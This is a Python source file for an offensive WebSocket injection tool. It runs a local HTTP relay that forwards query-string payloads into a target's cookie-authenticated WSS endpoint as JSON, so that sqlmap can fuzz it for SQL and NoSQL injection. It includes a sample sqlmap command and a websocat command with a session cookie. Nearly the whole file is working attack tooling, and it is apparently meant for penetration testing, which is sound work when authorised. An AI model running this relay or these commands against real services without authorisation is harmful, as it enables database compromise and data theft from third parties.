wss injection testing --

#!/usr/bin/env python
# ws_inj_server.py
# @dualfade

# inspired by --
# https://bit.ly/3FCA1I4

"""
Tunnel SocketServer() to websocket() JSON inj--
sqli / nosqli / fuzz --

Note:
It works --
This spit's out a shit ton of errors, so you may want to redirect to 2>/dev/null.
It's ghetto; however asyncio is not catching ws.recv_data() timeouts correctly.
Asynchio is used to keep the websocket alive without pukin' on injection at the cost of
barfing non-fatal ssl errors all over the place.

The Websocket ws.recv() function is blocked via no resp which terminates the injection.
This technique allows for the recv() function task to be cancelled with asynchio
moving to the next request.

May be worth adding an import JSON function which is parsed and automagically
updates the parameterized injection fields.

crush --
"""

import sys
import asyncio
import websocket
from struct import unpack
from optparse import OptionParser
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from concurrent.futures import TimeoutError as ConnectionTimeoutError

# manual testing ex --
# echo -ne '{"type":"value"}' | rlwrap websocat wss://api.targetdomain.org/ws/ \
# -H 'Cookie: csrftoken=ZZZZQ4d5EWWPPAbdaFsRxxB8yMewEXVnKv14Weiydlug7PN0uVWcwhmirXWZZZZ0; \
# sessionid=zzzzx5stslr3izgaf8llz6jrly5zzzzf' --async-stdio 2>/dev/null

# globals --

# defs --
async def send_ws(payload):
    """ send_ws function -- """
    url = str(options.url)
    cookie = str(options.cookie)
    timeout = int(options.timeout)

    """ create websocket -- """
    ws = websocket.WebSocket()
    ws.connect(url, cookie=cookie, timeout=timeout)

    try:
        message = unquote(payload).replace('"','\'')
        # rev JSON message for testing --
        # data = '{"type":"%s"}' % message
        data = '{"%s":"badge-request"}' % message

        """ send -- """
        ws.send(data)
        resp_opcode, msg = ws.recv_data()
        r_opcode = ''.join(['[+] resp opcode: ', str(resp_opcode)])
        print(r_opcode)

        # parsed results --
        if resp_opcode == 1 and len(msg) >= 2:
            r_ccode = ''.join(['[+] resp ccode ', str(unpack("!H", msg[0:2])[0])])
            r_msg = ''.join(['[+] resp msg ', str(msg[2:])])
            print('[i] attack payload: %s ' % data)
            print(r_ccode)
            print(r_msg)
            return msg
        else:
            r_msg = ''.join(['[i] closing ', str(msg)])
            print(r_msg)
            return ''

        # close --
        ws.close()

    except ConnectionTimeoutError as e:
        print('[!] socket failure %s' % e)
        print('[i] closing websocket')
        pass


async def ws_controller(payload):
    """ asyncio websocket controller -- """
    try:
        task = asyncio.create_task(send_ws(payload))
        d, p = await asyncio.wait({task})
    except asyncio.TimeoutError as e:
        print('[!] asyncio connetion timeout %s ' % e)
        print('[i] %s %s' % (d, p))
        await asyncio.sleep(0)
        task.cancel()
    finally:
        pass


def middleware_server(host_port,content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False

            """ asyncio controller -- """
            asyncio.run(ws_controller(payload))

            self.send_header("Content-type", content_type)
            self.end_headers()
            self.wfile.write(b'running attack')
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True,
        timeout = 3

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()


# main --
if __name__ == "__main__":
    """ get parser opts -- """
    parser = OptionParser()
    parser.add_option('-u', '--url', dest='url', help='wss://target.com/ws/')
    parser.add_option('-c', '--cookie', dest='cookie', help='cookie auth')
    parser.add_option('-t', '--timeout', dest='timeout', help='websocket timeout')
    try:
        (options, args) = parser.parse_args()
        if (options.url):
            """ send payload to target wss:// -- """
            print("[+] Starting MiddleWare Server")
            print("[+] Send payloads in http://localhost:8081/?jsoni=*")
            # ghetto / redirect err to /dev/null --
            print('[+] Ex: sqlmap -u http://localhost:8081/?jsoni=* --dbms mysql --random-agent --time-sec=2 2>/dev/null')
            try:
                middleware_server(('0.0.0.0',8081))
            except KeyboardInterrupt:
                pass

            """ exit / missing args -- """
            sys.exit(-1)
        else:
            print('[!] missing input')
            print('[!] exiting')
            sys.exit(-1)
    except SystemExit:
        sys.stdout.write("\n")
        sys.stdout.flush()